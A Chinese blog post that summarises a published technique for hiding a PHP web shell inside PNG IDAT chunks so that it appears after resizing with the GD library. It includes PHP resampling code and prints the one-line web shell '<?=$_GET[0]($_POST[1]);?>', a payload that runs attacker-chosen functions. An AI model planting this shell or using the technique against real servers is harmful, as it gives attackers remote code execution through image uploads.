Encoding Web Shells in PNG IDAT chunks

最新推荐文章于 2025-01-03 16:37:09 发布

eT48_Sec

最新推荐文章于 2025-01-03 16:37:09 发布

阅读量1.4k

点赞数

分类专栏：编程

本文链接：https://blog.youkuaiyun.com/eT48_sec/article/details/42400243

版权

编程专栏收录该内容

20 篇文章

订阅专栏

本文介绍了一种在PNG图片IDAT块中隐藏PHP web shell的技术，通过缩小图片至原始尺寸的1/8可以揭示shell。利用GD库的imagecopyresample函数和PHP编程，可以实现此功能。文章提供了相关参考链接，并指出原图中shell不可见，只有在特定条件下才能显示。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

原文在这里：https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

很老的一篇文章，大概说的是在png图片里面隐藏php一句话代码。现在看来，实现也不难，使用copy命令即可。

之所以还写出来是为了练习PHP编程。

还可以参考：https://bugscollector.com/tricks/12/

Both images below contain the web shell when resized to 1/8th of theiroriginal size.

Resize to 32x32 using imagecopyresample and save as a PNG using GD to reveal the shell.

就这样原文中没有给出resized 图像的代码，这里贴出一份。

<?php
// 这个文件
$filename = 'shell.png';
$percent = 1/8;

// 获取新的尺寸
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// 重新取样
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefrompng($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// 输出
imagepng($image_p, 'shell2.png');
?>

原图是看不到php 一句话的（<?=$_GET[0]($_POST[1]);?>），只有缩小到原来的八分之一才显出来。